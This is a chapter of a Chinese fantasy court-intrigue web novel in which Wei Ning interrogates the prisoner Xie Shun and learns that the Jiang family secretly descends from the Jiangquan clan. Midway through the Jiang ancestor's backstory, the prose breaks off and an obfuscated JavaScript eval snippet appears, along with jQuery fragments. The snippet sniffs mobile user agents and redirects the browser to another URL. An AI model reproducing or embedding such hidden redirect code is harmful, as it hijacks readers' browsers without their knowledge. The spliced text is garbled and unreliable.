60.姜家

作品:《山河不系

    卫宁一瓢水泼下去,谢顺毫无反应。


    “别装睡了,我有的是法子叫你生不如死。”卫宁冷冷开口。


    “现下郡主人证物证皆没有,即便到了御前,也是没法子。”谢顺到底是受了重伤,说话有气无力,断断续续地含糊不清。


    卫宁听着直拧眉,“你不仅做事让人厌恶,连讲话也是,简直一无是处。”


    谢顺发出一阵“嗬嗬”的笑声,沙哑又难听。


    卫宁当即抽出一旁架子上的鞭子抽了谢顺的脸,“谁告诉你们的?”


    无方城中的贵人们最看重的便是脸面了。


    谢顺一个从小金贵到大的娇俏公子哥,重伤也就罢了,哪受过这样的侮辱,狠狠地盯着卫宁,“你别落到我手里!”


    卫宁哼了一声,似乎听到了什么天大的笑话,“劳您操心了,还是多关心自己能活几何吧。”


    谢顺转过脸很有骨气道:“我就是死也不会告诉你!”


    “先皇后同我提到过你。”卫宁也不恼了。


    谢顺听到皇后时一怔,将转过去的脸又转回来,“姑姑同你说了什么?”


    “她无愧于谢家,是谢家对不起她。”卫宁看向地牢的窗口,晨光乍泄,有的人再也见不到了。


    景怜光狐疑,瞥了一眼卫宁,她瞎掰的吧,皇后哪会儿同她说这些。


    谢顺无言,浆糊般的脑子没有思考的余地,顺从地流下泪水。


    “哭什么,人都死了,甚至连遗容都未见过。”卫宁属实看不懂这些虚假的感情。


    谢顺不理她,心中暗恨这世间的所有,无方城就是一座巨大的牢笼,皇家是笼中最凶猛又阴险狡诈的野兽,而姑姑,不过是谢家与陛下之间的牺牲品。


    荣宠时,是谢家的助力,危难时,是谢家的替死鬼。


    他怨恨所有人,更怨恨眼前的卫宁,若不是她横空出世,一心查访此事,姑姑也不会仓促赴死,更不用毁了丘山庄。


    “你想让皇后死得不明不白吗?”卫宁又问,堂堂一国之后,不明不白地自戕,对外却只说是暴毙。这场纷争中,谁都有可能是牺牲品。


    谢顺被卫宁一激,原本就迷糊的大脑此刻全被愤怒填满,不管不顾地大吼道:“要不是你非要查丘山庄的事,姑姑怎么会死!”


    “又关我的事?”卫宁比六月天下雪的窦娥还要冤,谁都可以责怪她,谁都可以伸腿绊她一跤。


    “丘山庄本就不是谢家所为,你们何故如此着急毁掉?”姜珩不解。


    即便是被发现了,也能掩盖下去,陛下不至于因为卫宁发现了便将此地连根拔起,至多不过换个地方。


    “你是姜家的?”姜珩常年在外,谢顺也只是很久之前见过一面,隐约有些印象。


    “姜珩。”姜珩答。


    谢顺随即哈哈大笑,“郡主何必如此着急收拾谢家,最大的危险在您身边啊……”


    卫宁就驴下坡,“姜家也分长房和二房,二房做的孽关大房何事?”


    “看来郡主尚不知情。”谢顺眼前一亮,脑中已有一套说辞。


    “别挑拨离间了,自己身上的虱子还没清干净呢。”卫宁嘈道。


    “丘山庄的事姜家也有份参与,你以为承平司送过来的妖都是……”谢顺话未说完便被卫宁打断。


    卫宁:“说点我不清楚的。”


    “郡主别急啊。”谢顺喘了一口气,缓了缓又道,“郡主难道一点儿都不好奇,茫茫人族,为何只有姜家能捉妖?”


    一旁的姜珩手指轻蜷。


    卫宁一转眼,确实未想过,好像生来便是如此。


    “你到底想说什么?”若是眼下被挑拨了关系,才是真的愚蠢。


    “姜家本就是三族中人啊……”谢顺轻飘飘吐露出一个惊雷。


    几人闻言纷纷震惊,为何从未听闻?姜家又是哪一脉?


    “那又如何?”卫宁转念一想也合理了。


    一旁的姜珩拔出刀,骨刀擦着刀鞘,发出一阵轻微的摩挲声。


    卫宁抬手挡住,直视姜珩,“他还不能死。”


    “姜家的事不能泄露。”姜珩瞥了一眼赵葭。


    赵葭手指微动,一根飞针直冲谢顺的眉心。


    景怜光当即甩出一根木签打偏了飞针的方向。


    卫宁不可置信,大喊:“赵葭!”


    在丘山庄时,姜珩还怨怪赵葭伤了姜滢,怎么转头就听她吩咐了?


    赵葭偏过头不看她,也不像要解释的样子,眼下失了先机,再无出手的机会,只得默默靠墙将自己伪装成一副壁画老实晾在一边。


    “姜珩……”卫宁喃喃,一时无言。


    “眼下太平和顺,若此时爆出姜家的事,必然掀起血雨腥风。”姜珩举着刀同卫宁抗衡,咬牙道:“姜家的事不能暴露!”


    羊圈里的羊若是知道了放羊人是饿狼,曾经深以信赖的护身符竟然成了催命符,任谁都接受不了这样的事实,一旦此事暴露,之前耗尽心血维护的和平将不复存在。


    神坛便成了祭坛,姜家也将不复存在。


    “他一个小辈,哪里能知道这样大的秘密,必然是听人说的,你杀了他也无济于事。”卫宁不管姜珩,径直放下刀。


    姜珩握刀的手垂垂落下,一个谢顺本不足为患,麻烦的是他背后的势力。


    卫宁甩出一道灵气打晕了谢顺,转头问姜珩:“姜家是如何来的?姜大人又为何会受伤?”


    姜家又何以能悄无声息地融入人族中,还能在朝中平步青云,成为民心所向,众望所归。


    “你们之前在姜家发现半妖之后,母亲便着手调查了此事,顺着那名仆人的买卖记录发现是冒名顶替的,原主早就死了。就在母亲以为线索断了时,又得了些线索,亲自查访此案,在城外一处庄子里遇上埋伏,随身的侍从均被杀害,奇怪的是,母亲只是受了重伤晕倒,那股势力并未带走母亲,也未曾下死手,似乎是特意留了母亲的命……”


    “后来呢?”这么久过去了,总能查到点其他的东西。


    “后来……”姜珩目光空洞,似乎身心俱疲,“后来母亲却当作无事发生,也不曾将事情原委透露于我,我不甘心,便背着母亲悄悄打探。”


    “打探到了?”景怜光关切问道。


    “一无所获。”姜珩叹了口气,“若是母亲对此大加查探,我原不会生疑,母亲越是遮掩便越有鬼,父亲也帮着母亲一道瞒我。后来我才想明白,分明不是母亲查到的,而是他们故意露出马脚给母亲,想邀母亲入局。”


    卫宁浑身毛孔都炸开了,周身一凛,瞬间觉得体温都凉了半分。


    “姜大人……”卫宁顿了顿,“姜大人她……”


    她入局了?


    姜珩看透卫宁的想法,“不是母亲入局了,而是母亲一直就在局中。”


    “何意?姜大人不是受人胁迫?”不光卫宁,景怜光都糊涂了。


    姜珩并未回答,自顾自道:“后来母亲告诉我姜家的秘密,姜家先祖为求生误入人族,伤重不醒,好心的猎户将她带回家中养伤,问起姓名,先祖模糊间说了‘绛泉族’三个字,被猎户误听成姜千姿,先祖并未否认,便以讹传讹姓了姜。”


    “绛泉族究竟因何而来?又为何消失?”卫宁想起圣境树死前的幻境。


    姜珩缓了缓才开口,“三族人的灵力并非天生地养,你们在圣境树幻境中看到的红色泉水便是三族,也就是绛泉族灵力的来源。绛泉先祖聚集地有一处红色的泉眼,族人饮用后方才通灵力,延年益寿,这口红色泉水便是一切初始,先祖为感念红水赐予的灵力,自称绛泉族,这便是绛泉族的由来。”


    “后来呢?”景怜光也着急,幻境中绛泉被毁,可不知因何而毁,若不是因此,卜邑族也不会沦落至此。


    “后来……”姜珩自觉可笑,“后来人心不足,贪心深重,族人为了争夺绛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386248|195342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    泉的掌控权,一时间四分五裂,不少族人因争斗而死,族内原本的祥和一片,变得乌烟瘴气。”


    “为此姜家先祖这才毁了绛泉出走?绛泉没了,这世上除了三族人便是普通人了?”卫宁问。


    姜珩颔首,“先祖留在猎户家养伤,因为会些医术,让猎户帮忙寻了些草药,三族人本就与人族不同,重伤自然也好得快些,不过一个月,先祖的伤便痊愈了,那猎户想借着救命之恩强娶先祖,先祖良善,并未害他性命,只留下一些草药方子和丹丸充作资费补债。凭空而来又凭空消失,哪知那猎户竟借着先祖的旗子宣扬草药方子乃仙女所赐之物,能消百病,驱百灾,村中不少人见过先祖,都信以为真,谣言也就传开了。”


    卫宁不由得想起那该死的卜筮,以讹传讹,从无止境。


    “姜家是何时开始为朝廷效力的?”景怜光生疑。


    姜珩想了想,“大约是悯帝时。”


    悯帝?卫宁听程千语说过,此人为程家祖辈中有名的莽夫,历两朝盛世,登基便贪功近利,穷兵黩武,声称定然要将三族收服为我朝版图,直到被三族杀死时都未曾想明白自己是因何而死。


    悯帝死后,时局动荡,直到悯帝的儿子,也就是先帝登基时才渐渐能同三族打得平分秋色,再到如今的陛下,暮春之变后,已然能将三族玩弄于股掌之间。


    可若是悯帝如此,姜家何至于效力于他?莫非是姜家先祖内部出了大乱子,逼迫她不得不投靠人族?


    卫宁又问,“姜家先祖身负灵力,游走于世间不是难事,何必效力于朝廷?”


    “这个母亲未曾提过,想来也不是为了一官半职。”姜珩是个得祖荫的后辈,心知先祖艰辛,到底不能感同身受。


    此言一出,景怜光心绪复杂,“即便身负强大灵力,孤身一人游走于世间也并非易事,先祖若不避世,小民蒙昧,自然只能往人族的权力中心走,不然也容不下她。”


    “你呢?”卫宁盯着姜珩,你又在哪个局中?


    姜珩默然,好半天才从牙缝里挤出一句:“姜家的秘密不能暴露。”


    “还有哪些人知晓此事?”卫宁问道,这几天发生的事情让她应接不暇。


    姜珩沉思,半晌无奈地摇头,“这是姜家的秘密,只有姜家历任的当家人才清楚,我也是遇见你之后才知道的。”


    “陛下定然知道,但不会暴露此事,这么好的把柄捏在手里,自然不会轻易放过。”卫宁想。


    “那谢家又从何得知?”赵葭问完又靠墙装壁画。


    “要么是姜家自己人知道了同谢家做了交易,要么就是承平司……”景怜光想了想,“我猜前者。”


    景怜光灵光一闪,“不过姜家此举无异于以身饲虎,谢家手握姜家如此把柄,若是以此事要挟姜家,岂能不令人心动?”


    姜家二房与大房内斗多年,早已不是秘密。


    卫宁闻言一怔,“是陛下!”


    “陛下纵容谢家斗倒姜家,眼下三族不兴,此事若是暴露,参与其中的崇阿族不论是在人族还是三族中都是过街老鼠,再由谢家顺带牵出姜家的事,姜家随即跌落神坛,三族自此再无任何生机……”


    卫宁说完,在场的人都倒吸一口凉气,好狠毒的心机。


    姜珩眼眶泛红,愤恨地捏紧拳头。


    赵葭想不明白,崇阿族历来幽居山间,从不参与世间纷争,怎会落到如此地步?


    景怜光想到不复存在的卜邑族又是一阵痛心,声音哑涩道:“三族人便不配活在这世间么?”


    卫宁偏过头,人族与三族纷争多年,姜家这些年在人族中的作为有目共睹,即便是暴露了,稍加煽动,也能有不少人为他们请命。


    倒是崇阿族有些麻烦,山中易守难攻,他们又有不少能工巧匠,被公主庇护多年,背后还站着一个承平司主司,难怪陛下惦记……


    “若是程昀继位呢?”卫宁忽然出声。